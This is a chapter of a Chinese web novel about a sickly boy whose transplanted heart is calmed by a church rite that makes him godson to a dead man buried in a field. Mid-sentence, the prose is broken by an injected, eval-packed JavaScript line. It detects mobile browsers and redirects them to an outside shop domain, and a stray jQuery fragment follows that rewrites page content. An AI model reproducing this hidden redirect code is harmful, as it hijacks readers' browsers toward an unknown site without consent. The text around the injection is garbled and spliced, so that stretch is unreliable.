“还差一个，三对三，苏澄光来不来？”抱着篮球的同学说道。
话还没说完，旁边关系好的同学先替他开口了。
“不行，他有心脏病，不能剧烈运动。”
语气自然，甚至带点“你别开玩笑了”的意思。
一瞬间，拿篮球的同学脸色一变，神情诧异，像意外原来他们班的学霸还有这样病弱一面。
苏澄光眼神捕捉到他的犹豫，黑色瞳孔微微漾起笑意：
“对，我小时候有心脏病，现在已经没事了。”
同学们都表情一松，“难怪你每次体测都不参加呢。”
“不爱运动也能长这么高吗？我靠我可太想知道了。”
“多喝牛奶，少吃零食早睡早起，准能长个儿，你能做到一样么？”
“你小看谁呢？这些我，一个都做不到！”
互相取笑间，苏澄光嘴角含笑，眼神却已经在发散走神了。
记忆，被轻轻掀开了一角。
他想起自己在作文里写到，自己生病后，姐姐在大雨里背他去医院的故事。
真事儿，也就那一次吧。
因为后来他就有专门的急诊抢险车接送了。
他想起在医院的情形，
走廊里弥漫消毒水的味道。
还有姐姐握紧他的手。
他站在操场边缘，阳光很亮，皮肤白皙到透出侧脸的青色血管，让他看起来像是玻璃罩里的花。
“那要不你打后卫？不用跑得很拼，我们打友谊赛。”
远处球场上有人在拍球，场上四五个人，还有人停下来望着这边。
他把视线移开了。
“谢谢你，不用。”
他不是很爱这种很热血的运动。
即使他的心脏病好得七七八八，从小被迫安静的他，养成了不好动的性子。
尤其不喜欢流汗的运动。
他对着同学求知的眼神，语气没什么起伏地开口。
大概是小学吧。
家里人才告诉他，他曾经因为心脏病，无数次差点死掉。
那年他七岁，他又一次因为心源性休克被推进急诊。
醒来的时候，左手背上输着液，针眼还有些发疼。右手却被一只温热的手牢牢握着，掌心全是冷汗。
他偏过头。
消毒水的味道盖过了他的所有感官，姐姐苏星河正低着头坐在床边，眼眶红得厉害，像是狠狠哭过一场，却嫩是没掉下一滴眼泪。
苏澄光盯着她看了一会儿，认真开口。
“姐，我没事。”
刚退烧，声音还有点哑。
他又补了一句：“真的。”
苏星河没有说话，只是伸手把他往怀里拢了拢，动作很轻，像怕一用力，他就碎了。
苏澄光其实不太喜欢别人把自己抱得太紧。
因为会压到胸口。很疼。
不过姐姐抱他的时候，他一般都忍着。
她已经够累了。
苏星河比他大八岁。
从苏澄光记事开始，陪在他身边的人就一直只有姐姐。
挂号、缴费、陪床、半夜背着他跑急诊，守在医院等检查结果，再一遍遍跟主治医生确认术后护理……
别人家的姐姐放学追电视剧、和同学逛街，聊偶像，她却好像永远都在医院里。
至于父母……
小时候，苏澄光也问过。
为什么别的小朋友都有爸爸妈妈陪护，只有他没有？
那时候苏星河蹲下来，平视着他的眼睛，轻声说：
“爸妈工作忙。“
七岁的苏澄光信了。
后来长大，他才知道。
哪是什么工作忙。
是医生告诉他们，这个孩子可能活不过十岁。
于是他们选择了最省事，也最残忍的办法。
离远一点。
少见一点。
等真到了那一天，就不会太难过。
他们每个月准时打一笔巨额生活费，偶尔打电话问一句身体怎么样，却从来没有出现在医院。
仿佛只要不亲眼看见，那个躺在病床上的小孩，他们就不会有分离之苦。
苏星河却不一样。
她放弃了去省城重点大学的机会，留在本地读师范。
原因只有一个。
弟弟进医院的时候，她能最快赶到。
可这一次，连医生都没办法了。
戴着银框眼镜的老医生把心脏彩超看完后，沉默了很久，最后才叹了口气。
“排异反应太严重，还有这些术后并发症也是个大问题。“
“免疫细胞的数量……也很奇怪。“
他皱着眉，像是在斟酌措辞。
“你弟弟移植的心脏，它和普通人的情况，不一样。“
“心电图波形完全脱离现代医学……只能用特效药暂时压制，但长久下来治标不治本。“
老人摘下眼镜，疲惫地揉了揉眉心。
“再这样下去。“
“孩子撑不过今年冬天……你们最好做最坏的打算。“
病房忽然安静下来，他们没有避着他，认为孩子小听不懂。
窗外梧桐叶已经黄了大半，一阵风吹过，树叶扑簌簌往下掉。
苏澄光躺在病床上，望着天花板那条细细的裂缝。
他先认真算了一下时间。
现在八月。
距离冬天……
还有四个月。
他又想到学校刚发下来的寒假作业。
“……“
嗯。
那看来应该是写不上了。
想到这里，他居然还有一点遗憾。
毕竟数学最后两道压轴题他没听，但他想试试。
苏澄光默默在心里叹了口气。
果然，人快死的时候，脑子里想的东西都挺奇怪。
当天晚上，苏星河没有回出租屋。
她给隔壁床病人的家属塞了两百块钱，拜托对方帮忙照看弟弟两天，自己背着一个双肩包匆匆离开了医院。
临走前，她摸了摸苏澄光的头。
“姐去想办法。”
“你乖乖的。”
苏澄光点点头，
没说“我等你回来”。
因为这样说有点像立flag。
苏星河是姐姐，也是妈妈是爸爸。
他一直这么觉得。
有时候他觉得姐姐很可怜，但，姐姐时常看他的眼神，让他觉得他才是那个可怜的小孩。
至于姐姐能不能找到办法……
那就听天由命。
他从枕头底下摸出那本已经翻卷边的《□□》，翻到昨天夹着书签的一页，继续慢吞吞看了起来。
病房很安静。
只有翻书声和点滴滴答落下的声音。
隔壁床的大妈忍不住和护士感叹：
“这孩子乖得让人心疼。”
“看书轻手轻脚，翻页都怕吵着别人，咳嗽还知道捂着嘴。”
护士看了一眼。
病床上的小少年正低着头翻书，神情专注。
没人知道。
他其实正在认真思考。
为什么金木会被换上喰种的心脏器官，喰种中途不会醒吗？
就像下楼买个泡面失足摔倒后醒来就被掏了腰子，这bug是不是有点离谱了。
*
*
苏星河终于回来了。
她瘦了一圈，嘴唇发干起皮，头发用一根黑皮筋胡乱绑起来，但眼睛里燃着一种奇异的光。
她不由分说地给苏澄光收拾好行李，再病房其他病人的打量中离开，然后牵着苏澄光上了一辆破旧的面包车。
车内，苏星河摸出一个银色东西，亮亮的，戴上了他的脖子。
他摸了摸这个冰冰冷冷的银制品，“这是项链？”
苏星河眼神很轻，“长命锁，希望我的宝贝可以平安顺遂，长命百岁。”
他停住，周围女同学一脸怜悯心疼地看着他。
“怎么会有父母这么冷血的啊！他们不应该陪在你身边吗？”
“我家有个妹妹就是这个病，天天吃药化疗，真的很辛苦。”
“幸好苏同学已经痊愈了。”
对上她们关切似姐的眼神，他有点招架不住。他移开目光，后背发麻的感觉，快要坐立难安了。他有点想吐。他太熟悉了，那种眼神，像是背负不起的十字架压在身上，让人想要逃避。
“之后苏同学的病就好了对吧？”
他一愣：“是的。”
“怎么好的？不是说医生都没办法治好吗？”
苏澄光沉吟：“去了一个地方，用偏方调理了一段时间。”
同学们追问着细节，他也不说，只是笑着，用那双迷人性感的桃花眼望着他们，就让人群失了声。在那双眼睛里，是没人能逃离温柔沼泽。
体育老师吹了声哨子，人群瞬间作鸟兽散，遗憾地走开了。
那之后呢？
在车子颠簸的六小时中，苏澄光坐在后排，背挺得笔直，时不时地摸着脖子上的小银锁。
苏星河靠在他的肩上，小眯了一会儿厚沉沉睡去，她累得不轻，陡峭崎岖的山路都没摇醒她。
车子从市区到了省界边缘的山区，最终停在一座废弃的哥特式教堂前。
苏澄光仰头看着那座建筑。
尖顶高耸入云，很标准的教堂建筑，廊柱上的石雕天使缺了半张脸，却依然保持着双手合十的姿态。
门上的油漆落落大半，上面缠绕着枯萎的常春藤，风一吹叶子沙沙响，很是凄凉。
苏星河推开那扇沉重的木门，门轴发出嘶哑的呻吟。
教堂内部比想象中空旷，彩色玻璃窗在夕阳下折射出红蓝交织的碎片光，长椅东倒西歪蒙满灰尘，烛台里积着厚厚的灰白色蜡油，唯有室内正中的十字架依然锃亮，仿佛有人定期擦拭。
十字架下方站着一个穿黑色长袍的老妇人，银白长发编成一股辫子垂在肩带上，背对着他们。
她手里握着一根乌木权杖，杖头嵌着一颗暗紫色的宝石，散发着淡淡的光。
数名裹着厚厚黑布的信徒坐在椅子上，看到他们，从层层布缕中投来打量的目光。
屋内缭绕着一圈圈灰色的烟，闻起来像是某种香料。
“来了。”老妇人的声音像被砂纸摩过，带着某种异国口音。
苏星河把苏澄光轻轻往前推了半步：“巫女大人，我弟弟带来了。”
苏澄光踩着磨损的拼花地砖往里走。
阳光透过残破的玫瑰窗，在他苍白的脸上投下钴蓝色与白色的彩光。
他习惯性先扫了一圈周围环境。
深红色长椅，地砖破旧却很干净，烛台积厚蜡，但十字架干净得发亮。
说明这里信徒少，但有人会专门清理最中心的位置。
不太像废弃，更像是专门留出这种历史感，是这个教堂工作人员少，忙不过来做卫生还是专门设计的呢，
他没问，只是把这些疑惑记进脑子里。
他下意识地扫视四周，没注意到老妇人走到了他面前。
“跪下。”老妇人看着他。
她的面容苍老但不松弛，颧骨高耸，深眼窝里一双灰蓝色的眼睛却很明亮。
苏澄光看了一眼姐姐。
苏星河脸色很白，手指得很紧。
她轻轻点了一下头。
苏澄光这才跪下。
他规规矩矩跪在祭坛前的黑色跪垫上，膝盖陷进垫子里。柔软的触感，破败的教堂，眼前的种种，带着一股莫名既视感，让他恍惚了一瞬。
老妇人拿出一个银质圣餐盘，盘底浅浅一层清水。
她用十字架尖蘸了蘸水，在苏澄光额头上画了一横一竖，嘴里开始念叨。
那语言苏澄光从没听过，音节短促而低沉，带着一种古老的腔调，偶尔夹杂几个他勉强能辨认出来的拉丁词根。
“以父之名，以子之名，以圣之名——”老妇人忽然拔高了声音，权杖末端重重顿了一下地面，“认此子为嗣，锁其命格！”
“生受其恩，死承其果，天地为证，不可悖逆！”
苏星河从背包里取出一个小布包，打开，里面是一缕头发，用红绸系着。
老妇人将那缕头发投入火盆中，瞬间升腾起灰色的烟。
苏澄光的目光被烟雾吸住了。
他看见里面有一道不属于他的影子。
一个男人侧身站着。
如同是本来就在那里。
肩线笔直，姿态随意，甚至有些漫不经心。
他在看他。
苏澄光猛地回头，那个老修女不见了。
他转回来时，老妇人已经从祭坛上取下一本破旧厚重的古圣经，翻到某一页，将那一页整张撕下来，在烛火上点燃。
火焰吞噬纸页的瞬间，苏澄光又看见了那个男人的脸，短暂地浮现在火光里。
不是幻觉，就是白天撞鬼了。
然后书页为灰烬，落进下方银盘，灰黑色的碎屑缓缓融入水中。
“喝。”老妇人把盘子端到苏澄光嘴边。
苏澄光低头看着那盘混了纸灰的水。
水面荡起轻微的涟漪。
他认真盯了两秒，在脑子里做出判断：
这里人烟稀少，教堂建在这么偏的地方，不是邪/教就是刻意做一些隐蔽的事……他姐姐多半是被骗了。
但他什么都没说。
面无表情地接过银盘，仰头一饮而尽。
水里有股淡淡的铁锈味，掺着纸张燃烧后的味道和某种说不清的甜腻感，像糊了的锅巴，又像醪糟。
他面不改色地咽完最后一口，把银盘递还回去。
老妇人接过盘子时看了他一眼，灰蓝色的眼睛里闪过一丝意外，像没料到这个七岁小孩会这么平静。
“可以了。”她把银盘放回祭坛，又从袖中抽出一张褐色的羊皮纸，上面写满了符文。
她将羊皮纸卷起，用台上暗红色蜡烛滴落的蜡油封好，递给苏星河。
“东西带回老家插进第二个田埂，从今天开始，他要去见他的义父了……其他的按我之前说的去做。”
她姐姐道：“巫女大人，还有什么要注意的吗？”
老妇人想了想，“此后每年的最后一天带他去上香，烧纸钱，供三碗新米，一碗鸡血。”
苏星河感激地双手接过，收进背包内层。
“那报酬……”
老妇人佛了拂手：“按我说的做。”背对他们的身躯微微佝偻，不再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787817|210226||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
理会他们。
事情结束得比想象中快。
老妇人挥手示意他们离开。苏澄光起身时膝盖发麻，踉跄了一下，被姐姐扶住。
回去的面包车上，苏澄光靠在姐姐肩上昏昏欲睡。
山路很是颠簸，他胃里有些翻涌。但奇怪的是，胸口那颗心脏安静得过分。
它不再乱跳，而是稳定地沉在胸腔里，一点也没有了心悸的感觉。
如同他从未生病过。
“姐，”他在车辆摇晃中低声问，“她说的义父是干爹的意思吧，我干爹是谁？”
苏星河看着窗外，没有回头。
“救你的人。”
“他住哪？”
“……在老家。”
“哦。”
苏澄光没再问。
他以为“在老家”只是字面意思。
是某个乡下的远亲，或者被姐姐临时找来的道士一类的人。
七岁的他，对丧葬没有清晰概念。更不会想到，那句“义父”，指向的是一具埋在老家田埂下的逝者。
苏星河低头看着他，抬手擦掉他嘴角蹭的灰。
动作很轻。
她想起老妇人在仪式结束后单独对她说的话——
“那颗心脏不是人的东西。”
“它选了这孩子。”
“你挡不住，也没必要挡。”
“命和缘已经乱了，只能锁住这孩子。”
“让他认地下那人做义父，逢年过节上香烧纸，礼数做全。”
“那边收了这门亲，因果就接上了。”
“以后真有人来讨债，也得先过这层关系。”
“明白吗？”
苏星河当时没有回答。
她也确实没有完全听懂。
但她不需要听懂。
她只需要确定一件事——她弟弟还能活下去。
为此她可以做任何事。
车子驶出山区时，天已经完全黑了。
苏澄光在睡梦中翻了个身，额头贴上车窗。
玻璃冰冷。
呼出的白气在窗上凝成一层薄雾，很快又散掉。
窗外是黑色的山影和零星的灯光，远处是遥遥星河。
他做了一个很短的梦。
梦里他站在一片水面上。
水面平如镜子，却像钢板一样坚硬。
透过水面，往下观察，一口黑色棺材沉在水里。
棺盖是合着的。
他低头看下去，自己的影子和棺材重叠在一起。
下一秒，棺盖从里面被推开了一点。
一缕诡谲雪亮的光漏出来。
！
苏澄光醒了。
面包车正好压过碎石，车身猛地一晃。
他被震得清醒过来，抬手揉了揉眼睛。
车窗外已经全部擦黑，只剩一盏盏城市的路灯往后掠过。
“到家了吗？”他问。
“快了。”苏星河给他披上外套，“再睡一会儿。”
但他睡不着了。
他把手放在胸口。
心跳很稳。
稳得有点不正常。
不像今天早上那种乱得随时会停掉的感觉。
反而像被人调过的表一样，完美，规律。
他想了想。
觉得那灰水可能确实有用。
又觉得姐姐大概是被骗了。
“姐，”他忽然说，
“那杯水一点也不好喝。”他的声音微哑，带着一点刚睡醒的软糯，听起来像是在撒娇。
苏星河顿了一下，然后笑了。
路灯的光从窗外扫进来，落在她脸上，很快又刷过去了。
“姐回去给你买奶茶。”
“好，要珍珠多一点。”
“行。”
百花村在离市中五十公里的山里，在花满山的山脚，坐落着大大小小的村落，百花村便是那其中一个。
他们从三轮车下来，苏澄光被带到他们家第二田埂与第三田埂之间。
苏星河跪在松软潮湿的泥地上，向着小土包磕了三个头，“先生，我们来看您了。”
七岁的苏澄光跟着姐姐，学她的模样跪下，也拜了三拜。
他抬头看着小坟包，石碑上刻着两个字：干爹。
“叫干爹”，苏星河说。
苏澄光看着还没他书包大的小土包，“干爹。”
风忽然大了，香灰卷着吹散，看着这仿佛显灵的一幕，他的心脏猛的一紧，像是在回应着谁的呼喊。
他皱着眉，有点疼，但还忍耐范围。
“姐姐，”他的声音淡淡，“这碑是不是太草率了。”
正在烧纸的苏星河心说里面都没人，碑镶金边又咋的，她把十亿的冥币烧了一叠，
“你这干爹是路上捡来的，无名无氏躺在太平间一个月，没家属认领……这个碑有得立就不错了。”
苏澄光“哦”了一声，不再说话。从书包里排出五个布包，这是送的礼，干爹看上哪个拿走哪个。
他把布包扔进火堆，看着火光静静地摇曳。一直跪着，背挺得笔直，阳光下，他苍白得像个瓷娃娃。
从此，苏澄光有了一个在老家田埂里的干爹。
那天后，苏澄光进医院的次数很少了，那颗让他难受无比的心脏忽然温顺下来，如同认了宿主，不再闹腾。
苏星河放了心，觉得是那位“干爹”显了灵。
不枉她花了心思把那位恩人的遗物埋在老家，虽然先生的尸体大概已经拖进火葬场，烧成了一堆灰，可，总归是那位先生的心脏不是。
仪式已成。她终于能松口气，只要小光平安便好。
那之后的事情，在苏澄光的记忆里变得模糊。
排异反应在短时间内消退，复查的心电图不会说谎，他的求医生活似乎终于画上了句号。
主治医生反复检查结果，几乎要怀疑仪器是不是出了问题，甚至提过要发论文。苏星河只是笑，说可能是孩子自己恢复得好。医生不太信，但也找不到别的解释。
苏澄光慢慢长大，除了每年去医院复检，他看起来跟其他孩子没什么两样。
上学，考试，升学。
除了身体比同龄人弱一点，体育课常常被允许坐在树荫下看别人跑圈，但成绩一直很好。
他记东西很快，看一遍就能记住。上课不怎么说话，但一旦被点名，回答总是正确得像标准答案。
老师就喜欢这种学生。
安静，不惹事，成绩稳定。
同学最初也觉得他有点高冷。
眉眼淡，话少，情绪很少外露。
但相处久了就会发现，这人其实并不完全是那种冷的人。
在数学课听到无聊时，他会用笔轻轻戳一下同桌，小声说：“你看见没有，老班今天进来的时候脸拉得老长了，像一个倭瓜。”
同桌：“……”
他自己说完也会停一下，然后忍不住笑，嘴角很轻地牵动一下，又在老师转头的一瞬间恢复原样。
像什么都没发生过。
这种反差感让他在班里人缘不差。
但他本人并不在意这些。
他只是按部就班地活着。
按照他姐姐的意愿那样，
活的像一个普通人。